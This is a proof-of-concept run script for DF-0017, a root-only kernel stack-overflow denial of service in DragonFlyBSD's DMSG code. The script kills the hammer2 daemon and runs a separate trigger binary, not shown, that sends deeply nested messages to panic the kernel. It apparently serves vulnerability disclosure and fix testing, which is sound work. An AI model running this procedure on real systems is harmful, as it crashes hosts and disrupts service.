DF-0017 / run.sh
#!/bin/sh # DF-0017 PoC run script (kernel stack-overflow DoS). # # ENVIRONMENT PRECONDITIONS # - DragonFlyBSD master DEV guest (tested: v6.5.0.1712.g89e6a-DEVELOPMENT). # - Run as ROOT (must open /dev/vbd0 and issue DIOCRECLUSTER; the raw # disk node is root:operator crw-r-----, so unprivileged users cannot # trigger the LOCAL vector). # - To capture the panic/backtrace on a headless guest, set the kernel # console to serial first (once, then reboot): # echo 'console="comconsole"' >> /boot/loader.conf && reboot # so the panic lands on the QEMU serial line (dfbsd-qemu/boot.log). # The default vidconsole is headless (-display none) and would hide it. # # WHAT THIS DOES # 1. Kill the hammer2 userland cluster daemon (pid "hammer2"). At boot # it connects every disk's DMSG iocom via DIOCRECLUSTER # (sbin/hammer2/cmd_service.c:898), leaving each disk iocom's reader # blocked in fp_read() on a pipe. That makes a follow-on # DIOCRECLUSTER deadlock in kdmsg_iocom_reconnect() # (sys/kern/kern_dmsg.c:141) waiting for the stuck reader. Killing # the daemon breaks the pipes, readers get EOF and exit (msgrd_td # -> NULL), and a fresh DIOCRECLUSTER then succeeds. (The root fs # hammer2 mount has its own kernel iocom and is NOT affected.) # 2. Run ./trigger <depth>: opens /dev/vbd0, builds an AF_UNIX # socketpair, attaches one end to the kernel disk DMSG iocom via # DIOCRECLUSTER, and writes <depth> chained CREATE messages (circuit # nesting) followed by a DELETE on the chain root. The DELETE drives # kdmsg_state_cleanuprx -> kdmsg_simulate_failure (and connection # close drives the write-thread teardown path) -- both unbounded # recursive walks that overflow the 16 KB LWKT stack. # # EXPECTED (bug present): kernel panic -- "Fatal double fault" / stack # exhaustion -- guest freezes in DDB. Reset with: vm.sh reset # EXPECTED (fixed kernel, depth cap): trigger exits 0, no panic. # set -u cd "$(dirname "$0")" DEPTH="${1:-300}" # 300 >> the ~handful of levels needed to overflow 16 KB [ "$(id -u)" = "0" ] || { echo "run.sh: must be run as root (need DIOCRECLUSTER on /dev/vbd0)" >&2; exit 1; } [ -x ./trigger ] || { echo "run.sh: ./trigger not built; run ./build.sh first" >&2; exit 1; } # 1. free the disk DMSG iocom (kill the boot-time hammer2 daemon) pkill -9 -x hammer2 2>/dev/null sleep 2 ps -A 2>/dev/null | grep -E 'vbd0-msgrd|vbd0-msgwr' | grep -v grep \ && { echo "run.sh: disk iocom still occupied; another daemon holds it" >&2; exit 1; } echo "[setup] disk DMSG iocom is free" # 2. fire the trigger echo "[run] ./trigger $DEPTH (expect kernel double-fault panic)" ./trigger "$DEPTH" echo "TRIGGER_EXIT=$?" echo "[run] if you see this, the recursion did NOT overflow (kernel fixed / depth too small)" |